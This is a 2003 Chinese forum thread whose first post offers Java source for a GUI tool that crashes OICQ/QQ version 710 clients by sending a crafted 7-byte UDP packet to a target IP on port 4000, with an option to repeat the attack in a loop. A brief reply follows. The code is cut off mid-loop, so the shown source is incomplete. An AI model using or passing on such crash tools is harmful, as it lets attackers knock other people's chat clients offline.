Discuz! Board

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 610|回复: 1
打印 上一主题 下一主题

JAVA写的炸QQ(只做参考)

[复制链接]

190

主题

2643

帖子

3万

积分

新手上路

Rank: 1

积分
31137
跳转到指定楼层
楼主
发表于 2003-3-8 16:37:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
源代码如下 package downoicq; import java.net.*; import java.awt.event.*; import java.awt.*; import java.io.IOException; /** *

Title: Down the oicq for version 710

*

Description: just for test java don't use it for another reason

*

Copyright: Copyright (c) 2001

* @author jianbin1979 * @version 1.0 */ public class SendByte extends Frame { /** * normal variant defined */ private static final byte TTL = 1; private static final int DATAPRAM_BYTES = 7; private static final byte[] downBuf = {0x02,0x70,0x63,0x00,0x01,0x11,0x03}; private static int DEF_OICQ_PORT = 4000; /** * net variant */ private DatagramPacket downPkt; private InetAddress downIna; private int downPrt; private MulticastSocket downSkt; /* Gui variant */ private TextField pigIP; private TextField pigPort; private Button pigBtn; private Button pigEbtn; private Label pigError; private Label pigStatus; private Checkbox pigLoop; private Dialog pigAlt; /** * construction */ public SendByte() { super("Pig Ocq"); pigIP = new TextField(15); pigPort = new TextField("4000", 5); pigBtn = new Button("Down the pig"); pigEbtn = new Button("ok"); pigAlt = new Dialog(this, "Wait", true); pigError = new Label("Please input the field"); pigStatus = new Label("0"); pigLoop = new Checkbox("Loop kill the pig"); /** * dialog construction */ pigAlt.setLayout(new FlowLayout()); pigAlt.add(pigError); pigAlt.add(pigEbtn); pigAlt.setSize(200, 70); pigEbtn.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent e) { pigAlt.setVisible(false); } }); /** * frame construction */ this.setLayout(new FlowLayout()); this.setSize(300, 100); this.setBackground(java.awt.Color.lightGray); this.add(pigIP); this.add(pigPort); this.add(pigBtn); this.add(pigLoop); this.add(pigStatus); /** * frame event constructions */ pigBtn.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent e) { downSend(); } }); this.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { System.exit(0); } }); this.setLocation(300, 300); this.setVisible(true); } /** * send the down byte to the pig */ public void downSend() { new DownQQ().start(); } public static void main(String[] args) { SendByte sendByte1 = new SendByte(); } /** * send down thread */ class DownQQ extends Thread { /* implements run mothod() */ public void run() { try { /* if empty then return */ if ( pigIP.getText().length()==0 || pigPort.getText().length()==0 ) { pigAlt.show(); return; } downPrt = Integer.parseInt( pigPort.getText() ); downIna = InetAddress.getByName(pigIP.getText()); downPkt = new DatagramPacket(downBuf, downBuf.length, downIna, downPrt); downSkt = new MulticastSocket(); /** * loop kill for 60times 1min 1time */ try { /** * if the loop if checked * the ever 30secs send one */ if ( pigLoop.getState() ) { int MAX_LOOP = 60; int i = 0; while (i[此贴子已经被作者于2003-3-13 17:06:19编辑过]
回复

使用道具 举报

129

主题

2097

帖子

2万

积分

新手上路

Rank: 1

积分
29853
沙发
发表于 2003-3-22 21:52:00 | 只看该作者
死啦 吾明啊!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|鹤山人论坛

GMT+8, 2024-5-18 06:47 , Processed in 0.049254 second(s), 20 queries .

Powered by Discuz! X3.1

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表